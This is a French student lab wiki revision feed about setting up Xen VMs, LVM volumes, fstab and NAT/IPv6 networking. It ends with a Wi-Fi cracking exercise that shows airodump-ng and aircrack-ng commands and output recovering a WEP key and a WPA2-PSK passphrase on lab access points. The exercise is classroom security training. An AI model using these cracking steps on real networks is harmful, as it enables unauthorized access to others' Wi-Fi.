=== &amp;lt;u&amp;gt;Montage des partitions et fichier &amp;quot;fstab&amp;quot;&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Très important : ça se fait dans la VM, pas sur capbreton ====&lt;br /&gt;
Les commandes &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mount&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt; sont à exécuter '''dans la VM''' (le DomU).&lt;br /&gt;
&lt;br /&gt;
* Sur '''capbreton (Dom0 / hôte Xen)''', '''ne touche jamais à &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).&lt;br /&gt;
* Sur capbreton, ton job c’est '''créer les volumes LVM''' et les '''attacher''' à la VM dans le &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;. Point.&lt;br /&gt;
&lt;br /&gt;
==== Rappel : c’est quoi &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; exactement ? ====&lt;br /&gt;
&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; = “variable data”, donc tout ce qui '''change souvent''' et peut '''grossir vite'''.&lt;br /&gt;
&lt;br /&gt;
Typiquement :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/log&amp;lt;/code&amp;gt; : logs (ça peut exploser si un service spam)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/lib&amp;lt;/code&amp;gt; : données applicatives (ex: bases de données, états de services)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/cache&amp;lt;/code&amp;gt; : caches (apt, etc.)&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; : fichiers temporaires “longue durée”&lt;br /&gt;
* &amp;lt;code&amp;gt;/var/spool&amp;lt;/code&amp;gt; : files d’attente (mail, cron, impressions…)&lt;br /&gt;
&lt;br /&gt;
Pourquoi on le met sur un volume dédié : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; se remplit, tu évites de remplir &amp;lt;code&amp;gt;/&amp;lt;/code&amp;gt; et de rendre la VM inutilisable.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Explication rapide des commandes ===&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mkfs -t ext4 /dev/xvdb1&amp;lt;/code&amp;gt;''' : ''formatage'' → crée un système de fichiers ext4 sur le disque.  ⚠️ Ça '''efface''' ce qu’il y avait dessus.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount &amp;lt;device&amp;gt; &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “branche” le système de fichiers sur un dossier.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;umount &amp;lt;dossier&amp;gt;&amp;lt;/code&amp;gt;''' : “débranche”.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mount -a&amp;lt;/code&amp;gt;''' : monte tout ce qui est dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt;&lt;br /&gt;
* '''&amp;lt;code&amp;gt;mv&amp;lt;/code&amp;gt;''' : déplace. Sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;, c’est risqué parce que des fichiers peuvent être utilisés en live.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;u&amp;gt;'''DÉMARRAGE AUTOMATIQUE DU MONTAGE'''&amp;lt;/u&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:Fichier fstab.png|alt=Fichier fstab|centré|cadre|Fichier fstab]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== CONFIGURATION RÉSEAU DE NOS VM ==&lt;br /&gt;
&lt;br /&gt;
=== Rappel du schéma et du rôle des machines ===&lt;br /&gt;
Dans l’infra, on a deux “mondes” réseau en parallèle :&lt;br /&gt;
&lt;br /&gt;
* '''Un réseau IPv4 privé''' (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.&lt;br /&gt;
* '''Un réseau IPv6 public''' : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM de service (serveurs) ====&lt;br /&gt;
* IPv4 '''privé''' : pour sortir sur Internet via le mandataire (NAT/Masquerade).&lt;br /&gt;
* IPv6 '''public''' : pour être joignable directement (pas de NAT).&lt;br /&gt;
&lt;br /&gt;
==== VM mandataire (gateway) ====&lt;br /&gt;
* Reliée au '''réseau privé IPv4''' : côté interne&lt;br /&gt;
* Reliée au '''réseau public''' : côté infra école + Internet.&lt;br /&gt;
* Fait l’interconnexion (routage + NAT + redirections de ports si besoin).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM de service ===&lt;br /&gt;
&lt;br /&gt;
==== Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (service) ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont&lt;br /&gt;
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto #attention de ne pas mettre en dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Explication simple ====&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt; (IPv4 privé)'''&lt;br /&gt;
** IP privée &amp;lt;code&amp;gt;192.168.3.2/27&amp;lt;/code&amp;gt;&lt;br /&gt;
** passerelle &amp;lt;code&amp;gt;192.168.3.1&amp;lt;/code&amp;gt; = l’IP du mandataire sur le réseau privé  → Tout trafic IPv4 “vers Internet” part au mandataire.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt; (IPv6)'''&lt;br /&gt;
** &amp;lt;code&amp;gt;inet6 auto&amp;lt;/code&amp;gt; = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6  → La VM est accessible directement en IPv6, sans passer par du NAT.&lt;br /&gt;
&lt;br /&gt;
=== Configuration réseau de la VM mandataire ===&lt;br /&gt;
Ton &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.3.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.165/27&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)&lt;br /&gt;
&lt;br /&gt;
* eth1 (public) :&lt;br /&gt;
** IPv4 public 193.48.57.165/27&lt;br /&gt;
** gateway public 193.48.57.162 (VRRP)&lt;br /&gt;
* IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi les services sortent en IPv4 via “Masquerade” (NAT) ===&lt;br /&gt;
&lt;br /&gt;
==== Le problème IPv4 ====&lt;br /&gt;
IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.&lt;br /&gt;
&lt;br /&gt;
Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.&lt;br /&gt;
&lt;br /&gt;
==== La solution historique : NAT / Masquerade ====&lt;br /&gt;
On met les machines en '''IP privées''' (ex : &amp;lt;code&amp;gt;192.168.x.x&amp;lt;/code&amp;gt;), et une machine (le mandataire) “traduit” :&lt;br /&gt;
&lt;br /&gt;
* en interne : &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; (service)&lt;br /&gt;
* en externe : &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (mandataire)&lt;br /&gt;
&lt;br /&gt;
Donc vu d’Internet, '''tout sort avec l’IP publique du mandataire'''.&lt;br /&gt;
&lt;br /&gt;
C’est exactement ce que fait &amp;lt;code&amp;gt;MASQUERADE&amp;lt;/code&amp;gt; dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.&lt;br /&gt;
&lt;br /&gt;
=== Pourquoi en IPv6 on fait de l’accès direct (pas de NAT) ===&lt;br /&gt;
IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà de “trillions”).&lt;br /&gt;
&lt;br /&gt;
Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.&lt;br /&gt;
&lt;br /&gt;
Conséquence :&lt;br /&gt;
&lt;br /&gt;
* pas besoin de NAT&lt;br /&gt;
* la VM est joignable directement (avec firewall bien sûr)&lt;br /&gt;
&lt;br /&gt;
Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.&lt;br /&gt;
&lt;br /&gt;
=== VRRP : c’est quoi cette gateway &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; ? ===&lt;br /&gt;
&amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt; = '''IP virtuelle VRRP''' portée par '''deux routeurs''' (redondance).&lt;br /&gt;
&lt;br /&gt;
* routeur A : &amp;lt;code&amp;gt;...163&amp;lt;/code&amp;gt;&lt;br /&gt;
* routeur B : &amp;lt;code&amp;gt;...164&amp;lt;/code&amp;gt;&lt;br /&gt;
* IP VRRP : &amp;lt;code&amp;gt;...162&amp;lt;/code&amp;gt; (celle que tu mets en gateway)&lt;br /&gt;
&lt;br /&gt;
Avantage :&lt;br /&gt;
&lt;br /&gt;
* si un routeur tombe, l’autre reprend l’IP VRRP&lt;br /&gt;
* tes machines ne changent pas leur config, ça continue de router&lt;br /&gt;
&lt;br /&gt;
Si tu mets directement &amp;lt;code&amp;gt;.163&amp;lt;/code&amp;gt; ou &amp;lt;code&amp;gt;.164&amp;lt;/code&amp;gt; en gateway :&lt;br /&gt;
&lt;br /&gt;
* tu forces l’utilisation d’un routeur précis&lt;br /&gt;
* tu perds la redondance (si celui-là tombe, plus de sortie)&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12375</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12375"/>
		<updated>2026-02-24T14:15:22Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* Ton /etc/network/interfaces (service) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', tu as '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : tu peux dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
